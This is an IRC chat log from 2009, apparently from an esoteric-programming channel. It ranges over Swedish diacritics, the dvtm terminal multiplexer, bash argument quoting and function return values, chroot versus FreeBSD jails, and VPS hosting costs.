23:11:17 comex, wikipedia says: "In Swedish, Ö is pronounced [øː] (e.g. "öl"), [œ] (e.g. "kött") or [ɶ] (e.g. "dörr")." 23:11:18 well that's sure helpful 23:11:21 for example 23:11:38 comex, I can't make a recording atm. People sleeping in next room. 23:11:41 Maybe tomorrow 23:11:43 heh 23:12:08 see also http://en.wikipedia.org/wiki/Ä#As_an_independent_letter 23:12:24 -!- oklopol has quit (Read error: 60 (Operation timed out)). 23:12:40 -!- oklopol has joined. 23:13:18 I'm removing support for multiple players, it just makes everything 10 times more complicated 23:13:21 and ugly 23:13:43 comex, what esolang? 23:14:36 not an esolang 23:14:39 I'm just being off-topic :p 23:15:39 but this is the first real-w-orld thing I've written in haskell 23:15:41 (don't tell ehird) 23:15:51 comex, he reads logs you know 23:15:56 I'm also here. 23:15:57 and you already highlighted him ;P 23:16:00 ehird, and that 23:16:09 But I'm well aware of comex's haskell incompetence. 23:16:33 AnMaster: yep, it's a joke 23:16:47 -!- Judofyr has joined. 23:17:20 The configuration of dvtm is done by creating a custom config.h 23:17:20 and (re)compiling the source code. 23:17:21 great 23:17:33 How dwm. 23:17:43 same in Polish...: łącze -> link, lacze -> flat tires 23:17:47 But seriously, it's not hard to parse an ini. 23:17:48 ehird, I haven't used dwm 23:17:54 AnMaster: it does the exact same. 23:17:58 I see 23:17:58 Seems that dvtm = dwm for framebuffer. 23:18:26 so we need awesome vtm 23:18:27 clearly 23:18:30 robić łaskę -> to show mercy, robić laske -> to do a blowjob 23:18:35 ehird, and tmonad 23:18:54 http://grx.no/kb/2008/08/17/notes-on-setting-up-arch-linux-in-virtualbox-with-awesome-wm/ 23:18:58 This should be helpful. 23:19:02 AnMaster: now -that'd- be overkill. 23:19:21 ehird, with a plugin architecture of course :P 23:19:34 I'm probably going to use pekwm 23:19:58 -!- okloduk has quit (Read error: 110 (Connection timed out)). 23:23:14 ehird, you can mix layouts in one window? 23:23:24 pekwm isn't tiling 23:23:39 I mean in dvtm 23:23:46 hm 23:24:17 You just run dvtm in dvtm. 23:24:28 right 23:24:28 lawl 23:24:37 damn! 23:25:04 TravelGreaseGod it was a non-exact translation anyway 23:25:22 AnMaster: I just thought it sounded funny :P 23:25:35 guys, i've got such thing 23:25:37 dbg: parsing "+12" 23:25:38 dbg: ["+", (0,0), [1, (1,0)], [2, (2,0)]] 23:26:05 (x,y) are coordinates of node in text field 23:27:07 and i'd like to be able to find a node which has specified coordinates without traversing the tree every time 23:27:47 * ehird forgets how to unmount a loopback mount 23:28:04 sudo umount . says it's busy... 23:28:29 i need to map the tree, somehow 23:28:51 ehird, why doesn't my del key work in ghci 23:29:00 comex: because ur doin it rong 23:29:39 it inserts '~' 23:29:44 the correct way to say "traveled grease god" would be "berest smörjgud" 23:29:46 I think 23:29:53 though that is a lossy translation too 23:29:58 err 23:30:11 loosy? lossy? losy? I can never remember that 23:30:15 lossy 23:30:17 thanks 23:31:53 though actually "berest" is more like "well-traveled" 23:32:12 but "for" is more like "yesterday I traveled somewhere" 23:33:47 -!- oklopol has quit (Read error: 110 (Connection timed out)). 23:34:12 anyway important hint for the future: Should you ever need to write a Swedish name, song title or other word: Don't drop any dots. In the best case it will look rather silly. In the worst case it will either be incomprehensible or mean something totally different. 23:35:14 -!- oerjan has joined. 23:35:26 oerjan, hi 23:35:32 hi AnMaster 23:35:47 oerjan, you might want to read the scrollback over silly dropping dots and rings from Swedish words 23:36:00 it is the reason GregorR is now known as TravelGreaseGod 23:36:11 oops 23:36:22 oerjan, it is hilarious 23:37:26 ehhh 23:38:18 ;'pc 23:38:25 my cat walks on my keyboard 23:38:54 * oerjan still wonders how they managed to name SATA 23:39:06 it seems - a little too close to something :D 23:39:21 oerjan: am I missing something 23:39:48 ehird: an N, possibly 23:40:09 Santa? I see. :P 23:40:15 haha 23:40:22 * oerjan swats ehird -----### 23:40:23 ehird, I think he was thinking of satan 23:40:31 * oerjan swats AnMaster -----### 23:40:44 * AnMaster hits oerjan o=========E 23:40:53 oh no, AnMaster _is_ satan 23:40:58 :D 23:41:01 the trident proves it 23:41:05 oerjan, fire poker != trident 23:41:16 i see three prongs, q.e.d. 23:41:32 oerjan, err my fire poker dowstairs *does* have three prongs 23:41:41 yes there is a fireplace in this house 23:42:17 always good to have for tormenting souls, i guess 23:42:21 in fact two of them, and the fire poker at one of them has two prongs, and the fire poker at the other one has three prongs 23:42:25 so I guess it varies 23:42:38 -!- FireFly has quit ("Later"). 23:43:56 ahahaha 23:44:01 ehird, there still? 23:44:05 yes 23:44:08 this is even more hilarios at same site 23:44:15 *hilarious 23:44:21 "önskekonsert" -> "onskekonsert" 23:44:47 meaning? 23:44:55 the former means "wished for/dream concert", the second means "evil concert" 23:45:06 err concert or concerto in English? 23:45:22 :-D 23:45:30 also, both exist. 23:45:37 right 23:45:51 ehird, does both mean the same? 23:45:55 `no 23:45:56 AnMaster: how do you unmount a loop back? 23:46:07 ehird, depends on how you loop mounted it 23:46:20 mount -o loop 23:46:21 mount -o loop /file /directory 23:46:24 then just umount 23:46:25 a concerto is probably a concert that's been too much in italy 23:46:31 oh, I was in the dir 23:46:42 ehird, should work the same? 23:46:50 umount . obviously fails 23:46:59 ah like that 23:47:00 indeed 23:47:09 ehird, if you used losetup and then mount you would need to umount then use losetup to remove it 23:47:34 but with -o loop it is just umount 23:47:42 if you use SATA for solving SAT, then you're really on thin ice 23:47:51 oerjan, SAT being? 23:47:59 satisfaction problem 23:48:01 -!- olsner has quit ("Leaving"). 23:48:07 oerjan, is this a pun 23:48:16 also a school test in the US, i think 23:48:26 * AnMaster waits for "hell frozen over joke" 23:48:29 AnMaster: continuation of previous 23:48:30 'Tis. 23:48:43 The more common of the two college entrance exams. 23:48:56 hell is not frozen over, we have spring here in trøndelag now 23:48:58 school test in UK too 23:49:01 oerjan, ... 23:49:08 different though 23:49:18 ehird: Different test. 23:49:25 yes 23:49:32 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:49:33 http://en.wikipedia.org/wiki/Hell,_Norway 23:50:11 oerjan, hah 23:50:43 yeah 23:50:45 been there 23:51:01 also in A (with this tiny circle upon) 23:51:08 hilarious 23:51:16 it's less than an hour's drive from trondheim, and just before our airport 23:51:46 and also the north-south trains pass through it, obviously 23:51:47 ah, trondheim 23:51:51 oerjan, with godsexpeditionen too! 23:51:53 :D 23:51:54 with that stupid statue 23:52:04 what stupid statue? 23:52:11 i'm sure we have many :D 23:52:26 that one with this "viking" near the water 23:52:30 bsmntbombdood: has your comp arrived yet? 23:52:41 ehird: newegg says they shipped it 23:52:47 near the water? huh, i don't recall that 23:52:55 erm 23:52:58 sec 23:53:03 there is of course a viking on the central square 23:53:14 being a depiction of the city's founder 23:53:47 it's a bit over the top, really tall 23:54:28 http://www.trondheim-photos.com/?k=view_photo&u=statues-5 23:54:32 this one 23:54:51 does ups work on the weekends? 23:54:59 maybe i've got it on my photos 23:55:34 hm i'm not sure where that is 23:55:48 probably one of the newly built areas 23:55:58 (given the building) 23:56:57 The words "central square" reminded me of a thing that's not really especially funny, but I'll mention it anyway; there was at the central-most spot in Lieksa (a tiny "city" of about 13k people nowadays, pretty close to the Finland-Russia border) this: http://zem.fi/g2/d/1033-2/img_2707.jpg -- the website URL would be, if translated to English, "www.connectiontonature.com". 23:57:38 -!- amca has joined. 23:59:40 -!- amca has quit (Client Quit). 2009-05-09: 00:00:12 oerjan: Fjordgata ? 00:00:35 could be 00:00:51 fizzie, "according to EXIF data this image is rotated\nWould you like gimp to rotate it into the standard orientation? [Rotate] [Keep orientation]" 00:00:53 which do I want 00:01:04 TIAS 00:01:12 ok. Not rotate 00:01:13 Just try whichever; but I think you want to keep it. 00:01:15 anyway, somewhere near, because i've been only in that area ;d 00:01:27 huh 00:01:35 sec 00:01:52 "www.connectiontonature.com" what is "tonature"? 00:01:59 aspell doesn't know it 00:02:00 connection-to-nature. 00:02:03 oh 00:02:05 duh 00:02:23 It's the Gallery2-scaled version, and it has already been rotated; I didn't know that it embeds the original photo's EXIF data in the resized copies too. 00:02:32 fizzie, I read it as "connect-ion-tonature" 00:02:35 for some reason 00:02:38 * oerjan googles the company name visible 00:03:16 http://img24.imageshack.us/img24/6056/img0439anj.jpg 00:03:34 seems to be Pirsenteret 00:03:52 that's a bit further out towards the see 00:04:54 ah 00:05:04 yeah this looks like the same from the other side: http://images.google.no/imgres?imgurl=http://www.gregus.no/Inngangsparti.jpg&imgrefurl=http://www.gregus.no/Hovedside.htm&usg=__ACpOnKhddK_AY54nKR-Xw8NGIV4=&h=300&w=400&sz=30&hl=no&start=10&um=1&tbnid=GgQJp-VBb52YfM:&tbnh=93&tbnw=124&prev=/images%3Fq%3Dpirsenteret%26hl%3Dno%26sa%3DN%26um%3D1 00:05:22 er, http://www.gregus.no/Hovedside.htm 00:05:41 fallen bicycle 00:05:42 :D 00:06:12 http://img22.imageshack.us/img22/4783/img0442d.jpg which one is me? ;p 00:07:37 The guy with the briefcase-like thing and a brown jacket? 00:07:37 the ugly one 00:07:44 oh burn 00:07:53 fizzie: :D 00:08:15 no ;p 00:08:39 ehird, you may be surprised, but I really like dvtm 00:08:49 just needs to be a bit more flexible 00:08:49 AnMaster: shut down x and use it then 00:08:54 my bet is on the guy with the camera, since that's obviously a tourist 00:09:06 ehird, I use it inside konsole with great success! 00:09:07 ;P 00:09:10 teh red haired one 00:09:14 flexible how 00:09:25 ehird, no-recompile 00:09:35 scriptable 00:09:45 like I said above: tmonad 00:10:06 AnMaster: alias dvtm-config="cd /usr/src/dvtm && $EDITOR config.h && make install" 00:10:06 then 00:10:11 $ sudo dvtm-config 00:10:15 easy 00:10:17 ehird, haha 00:10:25 and there's not exactly much to script :P 00:10:26 aliases are evil 00:10:32 use functions 00:10:39 I like aliases. 00:10:44 well ok, not evil 00:10:47 that last picture just barely fails to show my favorite restaurant 00:10:49 but they do have some issues 00:10:51 `alias x=y` is shorthand for `x () { y $* }` imo 00:10:55 if it's not it should be :P 00:10:58 ehird, no it isn't 00:11:04 well it should be 00:11:07 I'd really have liked something like dvtm back in the fb-console age; but it seems to be a recent innovation. 00:11:12 ehird, no it shouldn't 00:11:17 why not 00:11:18 that function can't handle spaces 00:11:22 x () { y "$@" } 00:11:26 ... 00:11:30 that doesn't handle multiple arguments 00:11:35 ehird, yes it does 00:11:37 also, $* gets it quoted, I'm pretty sure 00:11:39 It does; that's the magic of $@. 00:11:39 also, wtf? how? 00:11:42 ehird, no it doesn't 00:11:43 that's gross 00:11:48 That's what $@ does. 00:11:56 "$@" expands into: "arg 1" "arg 2" ... quoted separately. 00:12:03 thus reinforcing my need for the orthogonal shell! 00:12:18 While "$*" would be all-in-one-quotes. 00:12:27 $ find . -name \*.jpg -exec {x| echo $x; rm $x} \; 00:12:28 comes to 00:12:40 I just need to bother making Tclsh into a usable shell. 00:12:41 oerjan: next time, dinner is my treat 00:12:51 ehird, say arguments 1 is : "a b" argument 2 is: "c". Then "$*" -> "a b c", "$@" -> "a b" "c". without quotes both expand to "a" "b" "c" 00:12:53 $ find . -name \*.jpg -exec /tmp/osh/closures/1d874r \; 00:13:03 or somethin 00:13:04 g 00:13:05 yes, closure 00:13:08 {...} is a closure 00:13:10 ehird, did that explain it? 00:13:10 functions: 00:13:18 $ fn hello {x y|echo "hello!"} 00:13:21 $ fn a b 00:13:24 err 00:13:25 $ hello a b 00:13:36 fn defining a closure as a command obviously 00:13:38 ehird, what 00:13:39 Oh, wait. It almost is... 00:13:43 nooga: :D 00:13:53 AnMaster: Design for an orthogonal shell with closures. 00:13:54 For instance, 00:13:56 {} in find is NOT the same as function 00:13:57 oh 00:14:02 And, {} is shell syntax 00:14:04 ehird, new shell right 00:14:04 in this case 00:14:08 $ each * {x|echo $x} 00:14:10 comes down to 00:14:12 Just need to do a bit of fiddling with tclreadline. 00:14:25 $ each file1 file2 /tmp/osh.3478234/closure.349723 00:14:33 ehird, list comprehension? 00:14:34 each would be a builtin shell command, but needn't be 00:14:36 and it'd come down to: 00:14:49 foreach (args[0...-2]) { args[-1](it) } 00:14:52 so you could also do 00:14:55 $ each * rm 00:14:59 to be a pointlessly verbose form of `rm *` 00:15:09 and, since the closure files are executable, you can pass them to find, etc 00:15:13 to do complex operations with find 00:15:15 foreach...? 00:15:22 AnMaster: it's pseudoC 00:15:25 ehird, foreach is what a for does in bash 00:15:26 I was demonstrating how each would be implemented 00:15:29 by the shel 00:15:29 l 00:15:34 nuff 00:15:39 for file in *; do echo "$file"; done 00:15:41 AnMaster: IT'S NOT SHELL SYNTAX 00:15:42 is a foreach loop 00:15:43 ehird, true 00:15:44 goddamn 00:15:44 gnight 00:15:46 ehird, but 00:15:53 bash as C style for too 00:15:53 I was telling you how "each" was implemented in the shell implementation language 00:16:01 and I know bash kthx 00:16:11 -!- nooga has quit ("Lost terminal"). 00:16:13 for ((i=0;i<10;i++)); do echo "$i"; done 00:16:22 :P 00:16:31 I don't personally like the $*/$@ either; it feels a bit ugly that they do such strange things inside quotes; but I don't think my dislike is acute enough to switch shells. 00:17:04 In My Shell(TM), it'd just be {*a| rm $~a} 00:17:16 $~foo being "foo expanded out (i.e. not quoted)" 00:17:18 because quoting is default 00:17:25 and *a meaning "rest of arguments" 00:17:26 so 00:17:33 Incidentally, speaking of bash... how do you return a string from a bash shell-function? 00:17:41 $ fn justLikeRm {a*| rm $~a} 00:17:44 $ justLikeRm a b c 00:17:48 fizzie: echo 00:19:02 So do I need to call it inside $() or backticks if I want to stuff the "return value" in a variable? Guess so. 00:19:11 Yep. 00:19:14 foo=$(bashSucks) 00:19:28 Oh wait. 00:19:33 fizzie: You can do foo=(bashSucks). 00:19:43 Or not. 00:19:48 Silly me. 00:19:50 That's the array syntax. 00:19:55 fizzie, I do like the $*/$@ thing 00:19:56 Why you using Bash anyway 00:20:09 it allows you do do crazy things 00:20:13 How do I return a value from a function that prints out diagnostics to the user to stdout? (I guess by using a different pipe.) 00:20:23 fizzie: You don't. 00:20:25 Oh, I certainly like that it exists, but I don't like the idea of it. 00:20:29 Incidentally, speaking of bash... how do you return a string from a bash shell-function? 00:20:32 there are two ways 00:20:34 echo and $() 00:20:39 is the more common, and slow way 00:20:43 and it creates a subshell 00:20:50 so setting global variables won't work 00:20:52 HOWEVER 00:20:55 And the amazing, envbot approved way... 00:20:57 there are some other ways 00:21:02 Is $("@$plaineval func) 00:21:09 Which invokes an internal bash shell exploit. 00:21:13 no 00:21:17 WHAT! 00:21:21 I will come to the envbot way soon 00:21:29 "Factor VM ported to C++" WHY GOD WHY‽‽‽‽‽ 00:21:52 anyway one method is eval, like eval "\$$varname=\$varwithvalue" 00:21:56 but that is bugprone 00:22:01 so I recommend the envbot way: 00:22:14 printf -v "$varname" "%s" "$value" 00:22:35 And you return via global variables? 00:22:40 Neat. Your function calls must be ugly. 00:22:42 ehird, that is yet another way 00:22:45 but no I don't 00:22:45 That is fugly. 00:22:50 How do you return then? 00:22:51 ehird, bash has dynamic scoping 00:22:53 Vomiting over a baby? 00:22:57 so I return to a local in the caller 00:22:59 :D 00:23:07 Oh. *Oh*. 00:23:10 * pikhq vomits 00:23:11 AnMaster: How? 00:23:39 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 00:23:39 That's some of the most horrid dynamic scoping I've seen. 00:24:02 So do you take the return-variable name as an argument or something? Or is it just mandated that all callers of that function must have a fixed-name parameter? 00:24:03 ehird, caller() { local myvar; callee "myvar" "other arguments"; } callee() { printf -v "$1" "%s" "$2"; } 00:24:04 is that clear 00:24:11 Ah, an answer. 00:24:11 And I regularly program in a language that lets functions do things in the caller's scope. 00:24:17 AnMaster: You're an awful person. 00:24:24 An awful, awful person. 00:24:27 ehird, intercal is worse 00:24:50 this is an esolang channel 00:24:55 what do you expect 00:25:03 caller() { callee "x="; echo "$x" }; callee() { eval "$1 hello" } 00:25:07 Flexible/ 00:25:10 s/\/$/./ 00:25:14 um 00:25:26 If it doesn't work that's just because it's flexible 00:25:33 Even shorter: 00:25:38 caller() { callee echo; } 00:25:39 ehird, eval is bug prone though. Not good in an IRC bot 00:25:45 Truly a beautiful example of the continuation-vomiting style. 00:25:49 for obvious reasons 00:25:59 AnMaster: your OS doesn't have cheap jails? 00:26:05 -!- puzzlet has joined. 00:26:07 ehird, it does. But it shouldn't be needed 00:26:08 proc caller {} {callee myvar;puts $myvar};proc callee {var} {uplevel "set $var flimble"} 00:26:19 actually, I should write some commands for extremely-cheap chroot jail creation and usage 00:26:22 That's what you're doing, in Tcl-ese... 00:26:25 And *eeew*. 00:26:27 pikhq, is it? 00:26:30 they'd be useful 00:26:32 I don't know TCL 00:26:39 like 00:26:51 ehird, that thing TravelGreaseGod use? 00:26:54 in EgoBot 00:26:56 Sticking it in a language that has dynamic scoping as a normal thing to do doesn't make it better. 00:27:01 $ cjcreate ~/hello 00:27:01 AnMaster: Definitely. 00:27:09 $ cjadd myamazlinglibrary ~/hello 00:27:15 hmm 00:27:16 make that 00:27:19 $ cjadd ~/hello myamazlinglibrary 00:27:23 uplevel executes its argument in the caller's scope. 00:27:26 $ cjexec ls ~/hello 00:27:31 the last one being equivalent to: 00:27:38 pikhq, hey it is a working and fast solution 00:27:40 $ chroot ~/hello ls 00:27:43 don't complain 00:27:46 anyway 00:27:50 (that's how the control structures are implemented) 00:27:52 it doesn't work for arrays 00:27:53 except setuid root, possibly 00:27:53 hmm 00:27:58 why does chroot() require roo? 00:27:58 t 00:28:00 I always forget 00:28:02 so you need eval to do that 00:28:04 pikhq, ^ 00:28:05 because you can escape a chroot jail with it? 00:28:17 ehird, that could be one reason 00:28:17 AnMaster: That's ugly. 00:28:24 pikhq, and bug prone 00:28:32 I'll make the chroot()-using tools setuid root, but then disallow chrooting below / 00:28:33 Yuh. 00:28:37 Problem solved 00:28:44 Cheap, easy chroot jails in a few commands. 00:28:48 You have no excuse not to use them ;-) 00:29:02 What if my OS supports jail()? 00:29:03 ehird, I do. Because I need to interact with existing files 00:29:05 for some stuff 00:29:15 like package database search for a gentoo related channel 00:29:25 AnMaster: It'd have tools to give pathways into the parent, probably. 00:29:34 pikhq, have you seen bashdoc btw? 00:29:34 "Make hardlink in jail", for instance. 00:29:35 jail() is fun 00:29:36 pikhq: The BSDs? 00:29:46 (mine doesn't) 00:29:48 Hmm, this OS X box has no jail() 00:30:02 AnMaster: No, I've not touched bash since I learned of zsh. 00:30:02 What does jail() give over chroot 00:30:12 jail is actually secure 00:30:14 Shame it keeps the bad of bash along with the good, though. 00:30:21 pikhq, http://envbot.kuonet.org/trac/browser/anmaster-trunk/tools/bashdoc (note that I didn't write it originally, it is a modified version of the bashdoc program from sourcemage) 00:30:34 a jail is almost a vm 00:30:47 pikhq, you will love this: http://envbot.kuonet.org/trac/browser/anmaster-trunk/lib/hash.sh 00:30:59 bsmntbombdood: chroot can be perfectly secure 00:31:03 ehird: no, it can't 00:31:06 you just don't let the jailed commands run as root 00:31:23 ehird, a jail is secure as root. 00:31:30 so? 00:31:38 why can't a chroot be secure 00:31:39 A jail also can have a different IP address. 00:31:40 a jail has different processes, different superuser, different filesystem 00:31:45 different network interface 00:31:53 err 00:31:56 not exactly 00:32:05 Well? 00:32:17 a jail does limit network, and superuser, and processes though 00:32:20 unlike a chroot 00:32:33 http://www.freebsd.org/cgi/man.cgi?query=jail&apropos=0&sektion=0&manpath=FreeBSD+7.2-RELEASE&format=html 00:32:33 file system could be just a subdir 00:32:38 Network can be handled in other ways, don't give the jail superuser, and who cares about processes 00:32:39 bsmntbombdood, indeed 00:32:46 chroot handles like 90% of cases :P 00:32:53 ehird, you are soo wrong 00:33:00 Argument by assertion. 00:33:02 a jail as it's own /sbin/init 00:33:10 ehird, read the link bsmntbombdood provided 00:33:10 so? 00:33:13 I did. 00:33:19 I'm just saying that a chroot() is usually fine 00:33:32 ehird, in less than 30 seconds? 00:33:33 read jail(2) also 00:33:35 I don't believe that 00:33:39 If you're paranoid about the chroot security. 00:33:43 AnMaster: what? 00:33:57 pikhq: that's why I'm gonna make a toolchain to automate it :) 00:34:16 what are you doing? 00:34:24 ehird, how well does your befunge interpreter work atm? 00:34:24 what? 00:34:40 AnMaster: can you stop asking me that? it's an ongoing project that i haven't worked on for a few days 00:34:46 ok 00:34:46 are you trying to prove something? 00:34:49 Also, root escalation in a chroot is dangerous. root excalation in a jail is useless. 00:34:57 it seems like you always bring it up when I diasgree with you 00:35:02 *disagree 00:35:05 ehird, no... what would I try to prove? 00:35:10 pikhq: Root escalation is fucked up anyway 00:35:11 and rare 00:35:27 Jails can't create device nodes, can't mount or umount filesystems, can't modify their network configuration... 00:35:39 ...execute instructions... 00:35:42 can't see processes outside the jail 00:35:53 you could do virtual servers with jail right? 00:35:55 I'm really failing to see actual issues here 00:35:59 bsmntbombdood: yep 00:36:00 that's one use 00:36:03 they'd be super fas 00:36:03 t 00:36:06 bsmntbombdood: That's a main use case. 00:36:15 bsmntbombdood: you'd need a script that renice's them a lot though 00:36:19 *renices 00:36:22 to stop hoggers 00:36:28 how's the ulimits work? 00:36:41 you want renice for adaptive speeds 00:36:47 so that people paying more get more of the idle time etc 00:37:01 if I had a dedi and was virtual servering it out I'd use jail(), probably 00:37:04 unless I wanted a linux 00:38:05 what about ram? 00:38:22 bsmntbombdood: adjust ulimits 00:38:34 obviously 00:38:36 it'd be an interesting project ... controlling a bunch of jail()s 00:38:46 anyone want to donate a dedi for it? :-) 00:39:59 damn, now that idea's perlocating in my head 00:40:09 Percolating. 00:40:16 no... 00:40:18 pikhq: maybe it's locating perl 00:40:19 perlocating 00:40:22 Perlocating. 00:40:39 Perl ocation. 00:40:44 compare: pythonocating 00:40:46 How does one ocate? 00:41:06 pikhq, using an ocater on an ocatee. duh 00:41:36 * pikhq needs to invent a new concept in CS just to call it "ocation". 00:42:12 anyway important hint for the future: Should you ever need to write a Swedish name, song title or other word: Don't drop any dots. In the best case it will look rather silly. In the worst case it will either be incomprehensible or mean something totally different. <<< Ja val, forstatt 00:42:26 Ocation: adjusting limits for various non-virtualized process jails automatically. 00:42:59 oerjan, "yes whale, "? 00:43:24 oerjan, quite a good example indeed 00:43:48 might also mean "yes election, " 00:43:55 or 00:44:03 "yes choice, " 00:44:18 i don't see anything in the man page about ulimits 00:44:27 ehird: I approve. 00:44:30 bsmntbombdood: it just jails a process 00:44:32 bsmntbombdood: so ulimit that process 00:45:28 pikhq: It leads to the catchy name for the "v"ps host based on it: Ocator. :-P 00:46:51 i dunno how ulimits work with children 00:47:07 "No Person except a natural born Citizen, or a Citizen of the United States, at the time of the Adoption of this Constitution" 00:47:08 Hmm... 00:47:13 Those commas... 00:47:18 "No Person except a natural born Citizen at the time of the Adoption of this Constitution" 00:47:38 Holy shit all the presidents born after the ratification of the constitution have been invalid 00:47:47 :D 00:48:05 pikhq, did you check http://envbot.kuonet.org/trac/browser/anmaster-trunk/lib/hash.sh 00:48:18 it is truly horrible 00:48:23 it seems children just inherit the same ulimits 00:48:33 Yes. 00:48:36 bsmntbombdood: they're not shared? 00:48:37 which means you can only set the ram limit per process, and not per jail 00:48:39 I hate you. 00:48:41 pikhq, so you like it then? :) 00:48:42 then ulimits are useless 00:48:43 logic terrorists: endangering america by tying the constitution into knots 00:48:45 just fork and use some more 00:48:48 pikhq, intercal is worse 00:48:50 remember that 00:49:01 Yes, but Intercal is meant to be bad. 00:49:10 pikhq, so is this program 00:49:13 bash is not meant. 00:49:14 bsmntbombdood: just watch the process for children and adjust the ulimits based on their usage 00:49:20 bsmntbombdood: you'll be dynamically adjusting them anyway 00:49:30 i don't know if that's practical 00:49:34 pikhq, yeah I rather suspected that bash wasn't meant, rather it was an accident. 00:49:47 bsmntbombdood: well, is here an alternative to ulimits? 00:50:04 Yeah, that's bash. 00:50:07 ehird: it seems like jails ought to support soemthing like that 00:50:08 And, really, all shells. 00:50:10 pikhq, anyway you hate IOCCC then? 00:50:15 (except for csh. That is evil) 00:50:19 bsmntbombdood: mm 00:50:19 C wasn't meant for that 00:50:32 AnMaster: No, I merely joke about hating you. 00:50:33 ;) 00:50:35 bsmntbombdood: One thing's for sure is that a jail() based "V"PS would be way faster than Xen and UML and all of that crap 00:50:40 pikhq, so you are a fan then? 00:50:41 :D 00:50:47 * pikhq nods 00:50:47 ehird: probably 00:50:59 -s securelevel 00:51:00 Sets the kern.securelevel sysctl variable to the specified 00:51:01 value inside the newly created jail. 00:51:03 Oy, what's that do then 00:51:08 pikhq, do you dare look at module loading/unloading? 00:51:24 * pikhq shudders 00:51:24 http://envbot.kuonet.org/trac/browser/anmaster-trunk/lib/modules.sh 00:51:45 securelevel doesn't have anything to do with ulimits 00:51:51 ehird: Xen is very freaking fast. 00:52:05 pikhq: As fast as jail()? 00:52:09 I differ to beg. 00:52:17 with hardware support it should be close 00:52:17 The difference is negligible, I'm sure. 00:52:24 pikhq, it is noticable 00:52:26 Neglegible? 00:52:27 Absolutely not 00:52:30 I used both freebsd jails and xen 00:52:32 I have a Xen server 00:52:35 It's not a fast as the host 00:52:36 By far 00:52:40 It's really fucking fast for a VM 00:52:41 Hmm. 00:52:43 But it's obviously a VM 00:52:46 jails are as fast as the host 00:52:46 whereas a jail() has 0 overhead 00:52:52 Probably the emulated devices. 00:52:57 the only limits being what the ocator sets 00:53:20 ehird, quotas are a PITA in jails though 00:53:21 In fact, I'm rather certain of that; good God, the context switches that it goes through for disk access. 00:53:29 unless you have one partition / jail 00:53:42 AnMaster: Slicehost do one partition 00:53:48 It's not a big deal for most VPSes 00:53:53 Ring 3 to ring 1 to ring 0 to ring 1 to ring 3 to ring 1 to ring 0 to ring 1 to ring 3. 00:53:53 they're too small to warrant partitioning 00:54:00 pikhq: jails or xen 00:54:03 ehird, then quotas doesn't work. And I need per-user quotas on my servers 00:54:05 Xen. 00:54:09 AnMaster: sure quotas work... 00:54:13 why wouldn't they 00:54:26 pikhq, ring 1? 00:54:29 What sort of jail goes through that many context switches for disk access? 00:54:30 if you use 1 partition per user you can't overcommit disk space 00:54:41 bsmntbombdood: this is arguably a good thing. 00:54:45 AnMaster: Xen runs the OS in ring 1 instead of the usual ring 0. 00:54:51 if you tell someone they can have N gigabytes, and they can't, you suck dicks. 00:55:00 pikhq, so it can't use SYSENTER/SYSEXIT stuff? 00:55:05 slower 00:55:12 That's the syscall stuff. 00:55:16 besides, disk is cheap 00:55:16 ehird: you can still overcommit 00:55:24 err SYSCALL/SYSENTER, same thing really iirc 00:55:26 a regular 10GB VM ... you can host 1,000 users with just 10TB of storage 00:55:35 one is intel, one is amd 00:55:44 10TB is el cheapo 00:55:45 And actually, I think that SYSENTER and SYSEXIT in Xen go to the hypervisor which sends it to the kernel. 00:55:57 i mean 00:56:08 10gb is tiny 00:56:14 pikhq, ouch 00:56:23 BADLY ouch 00:56:25 bsmntbombdood: let's say 24gb 00:56:29 That's for the paravirtualisation, rather. 00:56:39 pikhq, what about with hardware support then 00:56:40 For the hardware-assisted stuff, um. 00:56:42 2tb WD drive on newegg: $279.99 00:56:51 still a lot of emulation overhead 00:57:01 Actually, I think that just lets the hypervisor trap it instead of the kernel needing to be patched to handle it. 00:57:26 okay, so 00:57:34 The solution on *Linux* is to make the entry gate not do sysenter. 00:57:37 1000 users with 24gib storage each 00:57:40 = 24000gb 00:57:59 which is 12 x 2TB drives 00:58:07 So $3359 00:58:14 That's dirt cheap for a host 00:58:30 (Linux, in addition to supporting int 8h and sysenter, has an "entry gate", which is just a function that does whatever's fastest) 00:58:31 $3k to host a thousand users is basically fine, assuming you don't intend to grow to megahuge size 00:58:42 bsmntbombdood: conclusion - overcommitting is mostly unneccessary 00:59:25 and also, 24GiB is basically more than most VPS users need 00:59:50 you can get by with 8 drives to serve 1,000 users on 16gib 00:59:58 = $2,239 01:00:16 and really, I don't think anyone could argue that that's prohibitive for a VPS host 01:00:22 compared to the price of the CPUs 01:00:24 ehird: If you do grow to megahuge size, you're getting paid well enough to expand. ;) 01:00:30 yeah, exactly 01:00:38 ehird, you won't have 1000 users per server, more like 100 per server at most 01:00:38 let's say $25/mo for a 24gib vps 01:00:43 that 01:00:48 's $25k a month 01:00:57 which simply dwarfs the $3k cost for storage 01:00:58 AnMaster: of course 01:01:01 AnMaster: Yeah; that's because of CPU usage, not HD usage. 01:01:02 I was just being hypothetical 01:01:05 Which is his point. 01:01:17 even 100 sounds a bit much 01:01:29 and not just cpu, ram too 01:01:30 If it's light usage, 100 is feasible. 01:01:33 yeah, that's some pretty shitty vps 01:01:42 bsmntbombdood: what? 01:01:47 (light, like "Geocities". ;)) 01:01:48 $25/mo for 24gib is really cheap 01:01:58 more usual is $25 for 10gb 01:02:02 gib? 01:02:07 ehird: 100 users per server. 01:02:12 AnMaster: Harddrive maker bytes. 01:02:19 that is 24 gibbering bytes! 01:02:21 :D 01:02:25 ehird: That would be a GB. 01:02:38 pikhq, GiBi? 01:02:47 pikhq: nobody says gibibyte 01:02:49 GiB is the unambiguous way of saying that you're using the binary prefixes. 01:02:58 hmm 01:03:01 alright then :P 01:03:03 ehird, KDE's file info dialog 01:03:07 binary prefixes are the only sensible ones for storage anyway 01:03:12 A gibibyte is 1024 mebibytes, which is 1024 kibibytes, which is 1024 bytes. 01:03:13 ;) 01:03:18 bsmntbombdood: It's not what harddrive makers use 01:03:27 Anyway, $25 for 24gb storage is cheap & reasonable. 01:03:32 on a vps 01:04:23 Hmm... 01:04:32 like you said, disk is cheap 01:04:34 It occurs to me that being a VPS hoster is terribly profitable. 01:04:36 err 01:04:40 you can't compare vps's based on disk space 01:04:45 both 10-based and binary are WAY off 01:05:03 If you have 100 users paying $25/mo, you're earning $2,500 a month. 01:05:06 ternary-based is the only sane way 01:05:20 For a few hundred in dedi maintenance costs. 01:05:31 And 100 users would be a pretty small VPS host... 01:05:32 ehird: half of that will go to colocation and bandwidth, a 